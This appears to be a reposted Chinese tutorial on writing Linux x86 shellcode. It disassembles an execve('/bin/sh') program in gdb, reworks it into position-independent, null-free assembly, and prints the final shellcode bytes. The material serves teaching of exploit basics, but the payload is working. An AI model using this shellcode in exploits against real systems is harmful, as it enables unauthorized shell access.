關於 Shell Code 的編寫

來源:互聯網
上載者:User

關於 Shell Code 的編寫

下面是一個建立Shell的C程式shellcode.c: (本文以IntelX86上的Linux為例說明)

void main() {
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

我們先將它編譯為執行代碼,然後再用gdb來分析一下.(注意編譯時間要用-static選項,否則execve的代碼將不會放入執行代碼,而是作為動態連結在運行時才鏈入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------

下面我們來首先來分析一下main代碼中每條語句的作用:

0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
這跟前面的例子一樣,也是一段函數的入口處理,儲存以前的棧幀指標,更新棧幀指標,最後為局部變數留出空間.在這裡,局部變數為:
char *name[2];
也就是兩個字元指標.每個字元指標佔用4個位元組,所以總共留出了 8 個位元組的位置.

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
這裡, 將字串"/bin/sh"的地址放入name[0]的記憶體單元中, 也就是相當於 :
name[0] = "/bin/sh";

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
將NULL放入name[1]的記憶體單元中, 也就是相當於:
name[1] = NULL;

對execve()的調用從下面開始:
0x8000144 <main+20>: pushl $0x0
開始將參數以逆序壓入堆棧, 第一個是NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
將name[]的起始地址壓入堆棧

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
將字串"/bin/sh"的地址壓入堆棧

0x800014e <main+30>: call 0x80002bc <__execve>
調用execve() . call 指令首先將 EIP 壓入堆棧

------------------------------------------------------------------------------------

現在我們再來看一下execve()的代碼. 首先要注意的是, 不同的作業系統,不同的CPU,他們產生系統調用的方法也不盡相同. 有些使用非強制中斷,有些使用遠程調用.從參數傳遞的角度來說,有些使用寄存器,有些使用堆棧.
我們的這個例子是在基於Intel X86的Linux上啟動並執行.所以我們首先應該知道Linux中,系統調用以非強制中斷的方式產生( INT 80h),參數是通過寄存器傳遞給系統的.

0x80002bc <__execve>:  pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同樣的入口處理

0x80002c0 <__execve+4>: movl $0xb,%eax
將0xb(11)賦給eax , 這是execve()在系統中的索引號.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
將字串"/bin/sh"的地址賦給ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
將name[]的地址賦給ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
將NULL的地址賦給edx

0x80002ce <__execve+18>: int $0x80
產生系統調用,進入核心態運行.

------------------------------------------------------------------------------------

看了上面的代碼,現在我們可以把它精簡為下面的組合語言程式:

leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int   $0x80
(我對Linux的組合語言格式瞭解不多,所以這幾句使用的是DOS組合語言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr  dd 0
-------------------------------------------------------------------------------------

但是這段代碼中還存在著一個問題 ,就是我們在編寫ShellCode時並不知道這段程式執行時在記憶體中所處的位置,所以像:
movl string_addr,%ebx
這種需要將絕對位址編碼進機器語言的指令根本就沒法使用.

解決這個問題的一個辦法就是使用一條額外的JMP和CALL指令. 因為這兩條指令編碼使用的都是 相對於IP的位移地址而不是絕對位址, 所以我們可以在ShellCode的最開始加入一條JMP指令, 在string前加入一條CALL指令. 只要我們計算好程式編碼的位元組長度,就可以使JMP指令跳轉到CALL指令處執行,而CALL指令則指向JMP的下一條指令,因為在執行CALL指令時,CPU會將返回地址(在這裡就是string的地址)壓入堆棧,所以這樣我們就可以在運行時獲得string的絕對位址.通過這個地址加位移的間接定址方法,我們還可以很方便地存取string_addr和null_addr.

------------------------------------------------------------------------------
經過上面的修改,我們的ShellCode變成了下面的樣子:

jmp  0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int  $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr  dd 0 # 2 bytes,跳轉到CALL
# 1 byte, 彈出string地址
# 4 bytes,將string變為以'/0'結尾的字串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳轉到popl %esi

------------------------------------------------------------------------------------

我們知道C語言中的字串以'/0'結尾,strcpy等函數遇到'/0'就結束運行.因此為了保證我們的ShellCode能被完整地拷貝到Buffer中,ShellCode中一定不能含有'/0'. 下面我們就對它作最後一次改進,去掉其中的'/0':

原指令:          替換為:
--------------------------------------------------------
movb $0x0,0x7(%esi)    xorl %eax,%eax
movl $0x0,0xc(%esi)    movb %eax,0x7(%esi)
               movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax       movb $0xb,%al
--------------------------------------------------------

OK! 現在我們可以實驗一下這段ShellCode了. 首先我們把它封裝為C語言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18       # 2 bytes
popl %esi      # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax    # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al    # 2 bytes
movl %esi,%ebx    # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80      # 2 bytes
call -0x2d      # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------------

經過編譯後,用gdb得到這段組合語言的機器代碼為:
/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b
/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.